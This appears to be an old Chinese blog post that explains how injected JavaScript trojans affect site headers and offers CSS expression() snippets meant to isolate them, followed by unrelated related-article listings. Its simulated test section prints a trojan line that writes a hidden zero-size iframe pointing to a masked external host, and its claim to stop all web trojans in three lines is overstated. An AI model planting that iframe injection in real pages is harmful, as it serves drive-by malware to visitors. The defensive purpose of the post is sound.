三行代码解决全部网页木马

依然是挂马问题，已经是第三次变种啦！可恶！今天听报道说黑客入侵红十字会官网，修改了募捐帐号，这种人简直禽兽不如——发国难财。希望每个中国人都能为灾区献上一份爱心，做好自己的本职工作，并时刻准备着为灾区人民做点事情。

　　转入正题，这些日子，心情总是很沉重，不过我们得化悲痛为力量勇敢面对。有很多站长朋友联系过笔者了，他们都遭受了网页木马的破坏。一个大喊救命的网友，今晚向笔者诉苦，我就帮她看下吧。

　　她告诉我说她的网站在网页的开头被加上了：

　　原来又是JS木马，唯一的区别就是它加在了网页的最开头。使用笔者以前的“二行代码解决全部网页木马”，也不起作用了。仔细一看才知道，不仅加入了<script>标记还有一行长长类似于空格的字符。它使得DOCTYPE（文档类型）有所改变。DOCTYPEs是一个web页面的关键组成部分，缺少它你的css定义和标记将不被承认有效。所以一般首行被挂JS木马的网页会显示不正常。如果您当前的网站编码是utf-8，有时还会出现乱码。

　　今天晚上这位朋友的网页是gbk编码的，网页没有乱码，但是网页下面显示有错位。

　　磨刀，杀毒：

　　它不是插入在网头最上面吗？它不是第一个<script>标记吗？它不还是含有“http”吗？汗，啰嗦！简单，在笔者以前的代码基础上稍稍改动，就可以了：

　　在css里加上：

　　方案1：（缺点：完全不显示网页）

html,body{nojstop:expression((document.getElementsByTagName('SCRIPT')[0].src.toLowerCase().indexOf('http')==0)?document.write('木马被成功隔离!'):null);}

　　方案2：（隔离木马，显示网页）

html,body{nojstop:expression((document.getElementsByTagName('SCRIPT')[0].src.toLowerCase().indexOf('http')==0)?document.getElementsByTagName('IFRAME')[0].src=document.getElementsByTagName('SCRIPT')[0].src='about:blank':null);}

　　原理：获取页面的第一个<script>标记，如果src含有“http”字符，则将其隔离。经过Vista+IE7模拟测试，成功！希望XP下IE6+的用户帮忙测试下，如有问题及时反馈，谢谢！

　　至此，三行代码搞定全部网页木马完工。笔者可不希望还会有四行代码出来。有朋友担心这个代码会很占资源，其实不会的，页面加载完成后，只有鼠标碰到相关元素（如果css描述的是img，则鼠标碰到这个img时），CSS才会重复渲染一次。

　　防止木马破坏访客的代码笔者是写出来啦，关键是各位网站的站长要与网站服务器的网管多多沟通，搞好虚拟主机的安全工作。这类问题大都是服务器或其所在的局域网中了病毒，遭遇了ARP、DNS等欺骗所致。及时打好服务器系统补丁，安装必要的防火墙（如ARP防火墙）很有重要。

　　也许，这场战役还没有停止，我们将与它斗争到底！勇敢面对！

　　以下是测试的文件（全仿真模拟）：

default.html（这是网站首页），假如被挂马，如：

mm.js（这是木马的JS文件）：

document.write("<iframe width='0' height='0' src='http://www.***.cn/mm1.htm'></iframe>");

mm1.htm（这是js木马引用的iframe页面，汗，还有统计呢！）：

mm2.htm（这是被mm1.htm引用的iframe页面）：

</script>.

三行代码解决全部网页木马相关推荐

【蓝桥杯】三行代码解决 “全排列的价值”(2022省赛pythonA组)
三行代码解决 "全排列的价值"(2022省赛pythonA组) 置顶代码: from math import factorial n = int(input()) print(fa ...
ACMNO.28 Python的三行代码解决 C语言-链接字符
题目描述写一函数,将两个字符串连接输入两行字符串输出链接后的字符串样例输入 123 abc 样例输出 123abc 来源/分类 C语言题目截图: 思路: 用Python来解决就很简单啦. ...
三行代码解决electron-updater升级失败问题
在21年末遇到公司遇到一个比较奇葩的bug,electron开发客户端在进行自动升级时中途闪退没有任何日志. 经仔细观察,是在新包下载完后对老版本包进行替换的时候闪退,无意中发现在这一过程里,任务管控 ...
Android——三行代码解决Android串口通讯
欢迎使用最新版GT库第一步:在使用GT库里封装的架构当然需要先依赖好GT库: 详细依赖教程请参看 GitHub - 1079374315/GTContribute to 1079374315/GT ...
LibGDX游戏引擎-懒人三行代码解决中文绘制
一个平平无奇的周末就这样快乐起来了. 最近在学习libGDX游戏引擎的应用,想开发一个小小的Android游戏,其中对于中文显示比较多,这就不可能一条一条地制成图片再显示,终于找到了懒人的解决方法, ...
“三行代码，确实需要耗上一整天！”
导读:迭代时间短有多重要? 作者:Adam Berg,译者:弯月本文经授权转自公众号CSDN(ID:CSDNnews) 我先后曾在五家软件公司工作,其中既有游戏开发.移动开发,也有 Web 开发.回 ...
亚马逊开源模型设计神器：AutoGluon，三行代码自动生成SOTA模型！
点击我爱计算机视觉标星,更快获取CVML新技术本文转载自新智元. 亚马逊最近宣布推出AutoGluon,这是一个新的开源库,开发人员可以使用该库构建包含图像.文本或表格数据集的机器学习应用程序.使用 ...
python 多核并行计算_手把手 | 嫌Python太慢？并行运算Process Pools三行代码给你4倍提速！...
大数据文摘作品,转载要求见文末作者 | Adam Geitgey 编译 | 元元.Lisa.Saint.Aileen 原文链接 | https://medium.com/@ageitgey/quic ...
python 多核并行计算_嫌Python太慢？并行运算Process Pools三行代码给你4倍提速！
大数据文摘作品,转载要求见文末,作者 | Adam Geitgey,编译 | 元元.Lisa.Saint.Aileen. Python绝对是处理数据或者把重复任务自动化的绝佳编程语言.要抓取网页日志? ...

三行代码解决全部网页木马

三行代码解决全部网页木马相关推荐

最新文章

热门文章